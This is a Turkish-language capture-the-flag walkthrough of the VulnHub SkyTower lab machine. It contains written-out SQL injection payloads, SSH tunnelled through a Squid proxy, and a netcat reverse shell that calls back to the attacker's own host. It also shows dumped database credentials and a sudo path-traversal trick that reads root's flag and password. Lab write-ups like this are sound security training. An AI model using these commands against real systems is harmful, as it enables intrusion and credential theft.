Makine Hakkında Bilgiler
Açıklama:
This CTF was designed by Telspace Systems for the CTF at the ITWeb Security Summit and BSidesCPT (Cape Town). The aim is to test intermediate to advanced security enthusiasts in their ability to attack a system using a multi-faceted approach and obtain the "flag".
Vulnhub Sayfası:
https://www.vulnhub.com/entry/skytower-1,96/
İndirme Sayfası: https://download.vulnhub.com/skytower/SkyTower.zip
Walkthrough
Makinenin ip adresini tespit edelim.
┌──(root💀kali)-[/home/kali]
└─# ifconfig eth0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.0.21 netmask 255.255.255.0 broadcast 192.168.0.255
inet6 fe80::20c:29ff:fe4a:4d3f prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:4a:4d:3f txqueuelen 1000 (Ethernet)
RX packets 1091 bytes 69439 (67.8 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 5055 bytes 304408 (297.2 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
┌──(root💀kali)-[/home/kali]
└─# arp-scan -l | grep 08:00:27:54:4a:37
192.168.0.29 08:00:27:54:4a:37 PCS Systemtechnik GmbH
nmap taraması ile devam edelim.
┌──(root💀kali)-[/home/kali/oscp/sktower]
└─# nmap -p- -A 192.168.0.29 -T4
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-03 19:03 EDT
Nmap scan report for 192.168.0.29
Host is up (0.0014s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp filtered ssh
80/tcp open http Apache httpd 2.2.22 ((Debian))
|_http-server-header: Apache/2.2.22 (Debian)
|_http-title: Site doesn't have a title (text/html).
3128/tcp open http-proxy Squid http proxy 3.1.20
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported: GET HEAD
|_http-server-header: squid/3.1.20
|_http-title: ERROR: The requested URL could not be retrieved
MAC Address: 08:00:27:54:4A:37 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.2 - 3.10, Linux 3.2 - 3.16
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 1.36 ms 192.168.0.29
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.95 seconds
Filtered bir ssh, bir http serisi ve bir tane de http-proxy bulunmakta. 80. port ile başlayalım…
Bir login sayfası buldum ve sql injection denemeleri gerçekleştirdim. sqlmap ile işlemler gerçekleştirdiğimde sqlmap içerisinde aşağıdaki gibi bir sonuç yakaladım.
[19:52:56] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (heavy query - comment)'
[19:52:57] [INFO] testing 'MySQL < 5.0.12 OR time-based blind (heavy query - comment)'
[19:52:58] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind'
[19:52:59] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind (comment)'
[19:53:29] [INFO] POST parameter 'email' appears to be 'MySQL >= 5.0.12 RLIKE time-based blind (comment)' injectable
[19:53:29] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[19:53:29] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[19:53:30] [INFO] testing 'Generic UNION query (random number) - 1 to 20 columns'
[19:53:30] [INFO] testing 'Generic UNION query (NULL) - 21 to 40 columns'
[19:53:30] [INFO] testing 'Generic UNION query (random number) - 21 to 40 columns'
[19:53:31] [INFO] testing 'Generic UNION query (NULL) - 41 to 60 columns'
[19:53:32] [INFO] testing 'Generic UNION query (random number) - 41 to 60 columns'
[19:53:32] [INFO] testing 'Generic UNION query (NULL) - 61 to 80 columns'
[19:53:33] [INFO] testing 'Generic UNION query (random number) - 61 to 80 columns'
[19:53:33] [INFO] testing 'Generic UNION query (NULL) - 81 to 100 columns'
[19:53:33] [INFO] testing 'Generic UNION query (random number) - 81 to 100 columns'
[19:53:34] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[19:53:34] [INFO] testing 'MySQL UNION query (random number) - 1 to 20 columns'
[19:53:35] [INFO] testing 'MySQL UNION query (NULL) - 21 to 40 columns'
[19:53:35] [INFO] testing 'MySQL UNION query (random number) - 21 to 40 columns'
[19:53:36] [INFO] testing 'MySQL UNION query (NULL) - 41 to 60 columns'
[19:53:36] [INFO] testing 'MySQL UNION query (random number) - 41 to 60 columns'
[19:53:37] [INFO] testing 'MySQL UNION query (NULL) - 61 to 80 columns'
[19:53:37] [INFO] testing 'MySQL UNION query (random number) - 61 to 80 columns'
[19:53:38] [INFO] testing 'MySQL UNION query (NULL) - 81 to 100 columns'
[19:53:38] [INFO] testing 'MySQL UNION query (random number) - 81 to 100 columns'
[19:53:39] [INFO] checking if the injection point on POST parameter 'email' is a false positive
[19:53:39] [WARNING] false positive or unexploitable injection point detected
[19:53:39] [WARNING] POST parameter 'email' does not seem to be injectable
[19:53:39] [CRITICAL] all tested parameters do not appear to be injectable. As heuristic test turned out positive you are strongly advised to continue on with the tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'Dikkat ettiyseniz sqlmap bunun bir false-positive olduğunu söylemekte ancak ein olmak için -v6 ile taramayı yinelediğimde aslında bir sqli olduğunu farkettim. Bunun örnek bir çıktısı alağıda verilmiştir.
[19:50:08] [PAYLOAD] admin' RLIKE SLEEP(0)#
[19:50:08] [TRAFFIC OUT] HTTP request [#3112]:
POST /login.php HTTP/1.1
Host: 192.168.0.29
User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-language: en-US,en;q=0.5
Accept-encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
Origin: http://192.168.0.29
Referer: http://192.168.0.29/
Upgrade-Insecure-Requests: 1
Content-length: 55
Connection: close
email=admin%27%20RLIKE%20SLEEP%280%29%23&password=admin
[19:50:08] [TRAFFIC IN] HTTP response [#3112] (200 OK):
Date: Thu, 03 Jun 2021 23:50:07 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.4-14+deb7u9
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 698
Connection: close
Content-Type: text/html
URI: http://192.168.0.29:80/login.php
<HTML>
<div style="height:100%; width:100%;background-image:url('background.jpg');
background-size:100%;
background-position:50% 50%;
background-repeat:no-repeat;">
<div style="
padding-right:8px;
padding-left:10px;
padding-top: 10px;
padding-bottom: 10px;
background-color:white;
border-color: #000000;
border-width: 5px;
border-style: solid;
width: 400px;
height:430px;
position:absolute;
top:50%;
left:50%;
margin-top:-215px; /* this is half the height of your div*/
margin-left:-200px;
">
<br><strong><font size=4>Welcome [email protected]</font><br /> </br></strong>As you may know, SkyTech has ceased all international operations.<br><br> To all our long term employees, we wish to convey our thanks for your dedication and hard work.<br><br><strong>Unfortunately, all international contracts, including yours have been terminated.</strong><br><br> The remainder of your contract and retirement fund, <strong>$2</strong> ,has been payed out in full to a secure account. For security reasons, you must login to the SkyTech server via SSH to access the account details.<br><br><strong>Username: john</strong><br><strong>Password: hereisjohn</strong> <br><br> We wish you the best of luck in your future endeavors. <br> </div> </div></HTML>
[19:50:08] [PAYLOAD] admin' RLIKE SLEEP(5)#
[19:50:08] [TRAFFIC OUT] HTTP request [#3113]:
POST /login.php HTTP/1.1
Host: 192.168.0.29
User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-language: en-US,en;q=0.5
Accept-encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
Origin: http://192.168.0.29
Referer: http://192.168.0.29/
Upgrade-Insecure-Requests: 1
Content-length: 55
Connection: close
email=admin%27%20RLIKE%20SLEEP%285%29%23&password=admin
[19:50:09] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit]
[*] ending @ 19:51:17 /2021-06-03/
Ayrıca testler oyunca kullandığım http isteği de aşağıdadır.
┌──(root💀kali)-[/home/kali/oscp/sktower]
└─# cat istek
POST /login.php HTTP/1.1
Host: 192.168.0.29
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 26
Origin: http://192.168.0.29
Connection: close
Referer: http://192.168.0.29/
Upgrade-Insecure-Requests: 1
email=admin&password=admin
Anladığım kadarıyla sqlmap sqli’ın farkına varamıyor blind türlerde karşımıza çıkabilecek bir case. Bunu daha iyi anlamak için proxy ile burp’u kullandım ve gelen cevapların boyutlarını karşılaştırdım.
┌──(root💀kali)-[/home/kali/oscp/sktower]
└─# sqlmap -r istek --level=5 --risk=3 --dbs -p email --dbms="mysql" --batch --proxy=http://127.0.0.1:8080
Evet burp’teki çıktılara baktığımda, örnek olarak email=admin%27%20RLIKE%20SLEEP%285%29%23&password=admin gibi bir payload’da aşağıdaki gibi bir cevap almaktayım.
HTTP/1.1 200 OK
Date: Thu, 03 Jun 2021 23:53:13 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.4-14+deb7u9
Vary: Accept-Encoding
Content-Length: 1626
Connection: close
Content-Type: text/html
<HTML>
<div style="height:100%; width:100%;background-image:url('background.jpg');
background-size:100%;
background-position:50% 50%;
background-repeat:no-repeat;">
<div style="
padding-right:8px;
padding-left:10px;
padding-top: 10px;
padding-bottom: 10px;
background-color:white;
border-color: #000000;
border-width: 5px;
border-style: solid;
width: 400px;
height:430px;
position:absolute;
top:50%;
left:50%;
margin-top:-215px; /* this is half the height of your div*/
margin-left:-200px;
">
<br><strong><font size=4>Welcome [email protected]</font><br /> </br></strong>As you may know, SkyTech has ceased all international operations.<br><br> To all our long term employees, we wish to convey our thanks for your dedication and hard work.<br><br><strong>Unfortunately, all international contracts, including yours have been terminated.</strong><br><br> The remainder of your contract and retirement fund, <strong>$2</strong> ,has been payed out in full to a secure account. For security reasons, you must login to the SkyTech server via SSH to access the account details.<br><br><strong>Username: john</strong><br><strong>Password: hereisjohn</strong> <br><br> We wish you the best of luck in your future endeavors. <br> </div> </div></HTML>Bu bilgiler ile bir ssh bağlantısı kurmayı denedim.
┌──(root💀kali)-[/home/kali/oscp/sktower]
└─# ssh [email protected] 130 ⨯
^C
Hımm… Filtered olduğunu unutmamak gerekiyor. Bunun üzerine http-proxy aracılığı ile bir bağlantı denemeye karar verdim.
┌──(root💀kali)-[/home/kali/oscp/sktower]
└─# proxytunnel -p 192.168.0.29:3128 -d 127.0.0.1:22 -a 1822 1 ⨯
┌──(root💀kali)-[/home/kali/oscp/sktower]
└─# ssh [email protected] -p 1822 255 ⨯
[email protected]'s password:
Linux SkyTower 3.2.0-4-amd64 #1 SMP Debian 3.2.54-2 x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Jun 3 20:32:16 2021 from localhost
Funds have been withdrawn
Connection to 127.0.0.1 closed.Analdığım kadarıyla .bashrc dosyasına exit komutu verilmiş. Bir deneme daha gereçekleştirdim.
┌──(root💀kali)-[/home/kali/oscp/sktower]
└─# ssh [email protected] -p 1822 -t "whoami"
[email protected]'s password:
john
Connection to 127.0.0.1 closed.
Harika. Bundan sonra bir nc oturumu başlattım ve makine içerisine bağlandım.
┌──(root💀kali)-[/home/kali/oscp/sktower]
└─# ssh [email protected] -p 1822 -t "nc 192.168.0.21 1234 -e /bin/bash"
[email protected]'s password:
┌──(root💀kali)-[/home/kali/oscp/sktower]
└─# nc -lvp 1234 130 ⨯
listening on [any] 1234 ...
192.168.0.29: inverse host lookup failed: Unknown host
connect to [192.168.0.21] from (UNKNOWN) [192.168.0.29] 58888
whoami
john
Bir takım kontroller gerçekleştirdikten sonra mysql connection bilgilerini elde ettim. Ve mysql’e bağlandım.
cd /var/www
ls
background2.jpg
background.jpg
index.html
login.php
head login.php
<?php
$db = new mysqli('localhost', 'root', 'root', 'SkyTech');
if($db->connect_errno > 0){
die('Unable to connect to database [' . $db->connect_error . ']');
}
$sqlinjection = array("SELECT", "TRUE", "FALSE", "--","OR", "=", ",", "AND", "NOT");
┌──(root💀kali)-[/home/kali/oscp/sktower]
└─# ssh [email protected] -p 1822 -t "mysql -u root -p" 1 ⨯
[email protected]'s password:
Permission denied, please try again.
[email protected]'s password:
Permission denied, please try again.
[email protected]'s password:
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 54861
Server version: 5.5.35-0+wheezy1 (Debian)
Copyright (c) 2000, 2013, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| SkyTech |
| mysql |
| performance_schema |
+--------------------+
4 rows in set (0.00 sec)
mysql> use SkyTech;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;
+-------------------+
| Tables_in_SkyTech |
+-------------------+
| login |
+-------------------+
1 row in set (0.00 sec)
mysql> select * from login;
+----+---------------------+--------------+
| id | email | password |
+----+---------------------+--------------+
| 1 | [email protected] | hereisjohn |
| 2 | [email protected] | ihatethisjob |
| 3 | [email protected] | senseable |
+----+---------------------+--------------+
3 rows in set (0.00 sec)
mysql> Connection to 127.0.0.1 closed by remote host.
Connection to 127.0.0.1 closed.
Harika elimizde bazı kullanıcı bilgileri var. Bu kullanıcıalr ayı zamanda /etc/passwd altında olan kullanıcılar.
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
sshd:x:101:65534::/var/run/sshd:/usr/sbin/nologin
mysql:x:102:105:MySQL Server,,,:/nonexistent:/bin/false
john:x:1000:1000:john,,,:/home/john:/bin/bash
sara:x:1001:1001:,,,:/home/sara:/bin/bash
william:x:1002:1002:,,,:/home/william:/bin/bashjohn kullanıcısından belirli bir süre sonra çıktım ve sara kullanıcısına geçiş yaptım. Bu kullanıcı bazında incelemeler gerçekleştiriken sudo’yu kullanabildiğini gördüm.
┌──(root💀kali)-[/home/kali/oscp/sktower]
└─# nc -lvp 1234 1 ⨯
listening on [any] 1234 ...
192.168.0.29: inverse host lookup failed: Unknown host
connect to [192.168.0.21] from (UNKNOWN) [192.168.0.29] 58880
sudo -l
Matching Defaults entries for sara on this host:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User sara may run the following commands on this host:
(root) NOPASSWD: /bin/cat /accounts/*, (root) /bin/ls /accounts/*
^C
┌──(root💀kali)-[/home/kali/oscp/sktower]
└─# nc -lvp 1234 1 ⨯
listening on [any] 1234 ...
192.168.0.29: inverse host lookup failed: Unknown host
connect to [192.168.0.21] from (UNKNOWN) [192.168.0.29] 58882
/bin/ls /accounts/../../../../../../../../../root
ls
sudo /bin/ls /accounts/../../../../../../../../../root
flag.txt
sudo /bin/cat /accounts/../../../../../../../../../root/flag.txt
Congratz, have a cold one to celebrate!
root password is theskytower
Bingo! root kullanıcısının parolasınıda aldık ve ssh ile bağlantı kurabilioruz.
┌──(root💀kali)-[/home/kali/oscp/sktower]
└─# ssh [email protected] -p 1822 1 ⨯
[email protected]'s password:
Linux SkyTower 3.2.0-4-amd64 #1 SMP Debian 3.2.54-2 x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Jun 20 09:01:28 2014
root@SkyTower:~# whoami
root
İlk Yorumu Siz Yapın